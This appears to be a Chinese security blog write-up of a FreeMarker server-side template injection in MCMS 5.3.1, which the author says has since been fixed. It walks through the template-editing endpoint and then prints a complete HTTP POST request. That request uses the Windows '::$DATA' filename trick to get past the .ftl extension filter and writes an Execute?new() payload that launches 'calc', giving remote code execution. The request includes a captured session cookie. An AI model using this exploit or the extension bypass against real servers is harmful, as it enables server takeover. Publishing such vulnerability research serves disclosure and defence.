前言
本篇中版本为5.3.1 在提交后已经修复
新版已修复且下载地址如下:https://gitee.com/mingSoft/MCMS
freeMark模板注入挖掘
在系统设置--模板管理中,可以对文件进行修改
这里以本机Windows为例,通过抓包得知
为net.mingsoft.basic.action#writeFileContent方法
这里以本机Windows为例,通过抓包得知
为net.mingsoft.basic.action#writeFileContent方法
首先会判断传入的文件是否存在,稍后会进行文件后缀的判断
这里以本机Windows为例,通过抓包得知
为net.mingsoft.basic.action#writeFileContent方法
首先会判断传入的文件是否存在,稍后会进行文件后缀的判断
跟进checkFileType,可以发现会对传入的FileName进行判断,如果为以下后缀则上传失败
因为前期发现整合了freeMark,所以直接写入到WEB-INF/manager/cms/目录下的ftl文件即可
直接写入即可:
```
POST /ms/basic/template/writeFileContent.do HTTP/1.1
Host: 192.168.1.6:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: application/json, text/plain, /
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Pragma: no-cache
token: null
Content-Length: 288
Origin: http://192.168.1.6:8080
Connection: close
Referer: http://192.168.1.6:8080/ms/basic/template/list.do?template=1/default
Cookie: SHIRO_SESSION_ID=1048399f-60a2-4a05-8112-5030a61e69c4; pageno_cookie=1; rememberMe=tUQsvtRus4pdsS5hhhcZRj6w7Kt4QX17kHT57OhAd6YsO44CQrPJRMSTkFg2hdQpkyGItXEbBW85nr5Mb4lQHu/j5crBNIlPDUHvgxi21TAZ/jTHurUXETl+1yRtN2ZEyjAWh/d9pIDydDQjJfbKXr6Uf6t8wD4nYKoiYkAUAs2AZo2PsGk5R0q0x6YNhOetflg8laT6ethhboMIX3SzYLXdVWyzCCM1gmyV9/FTAi02l6gIkrr9Z6ebtmbrtlVAm8rY0vrjJ+Y5Of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c=
fileName=%57%45%42%2d%49%4e%46%5c%6d%61%6e%61%67%65%72%5c%63%6d%73%5c%63%6f%6e%74%65%6e%74%5c%66%6f%72%6d%2e%66%74%6c%3a%3a%24%44%41%54%41&name=about.htm&fileNamePrefix=template%5C1%2F%5Cdefault%5C&fileContent=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22calc%22%29%7D
数据包进行了URL编码,内容其实如下。因为无法上传ftl,而且在Windows的环境中,所以使用::$DATA来绕过。
( 在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,其实和空格绕过点绕过类似)
fileName=WEB-INF\manager\cms\content\form.ftl::$DATA&name=about.htm&fileNamePrefix=template\1/\default\&fileContent=${"freemarker.template.utility.Execute"?new()("calc")}
```
这里我写入的是content\form.ftl文件。
接下来直接找action即可。利用action转发到form页面即可
位置在net.mingsoft.cms.action#form方法
http://192.168.1.6:8080/ms/cms/content/form (这里是热部署,实时更新)
直接rce~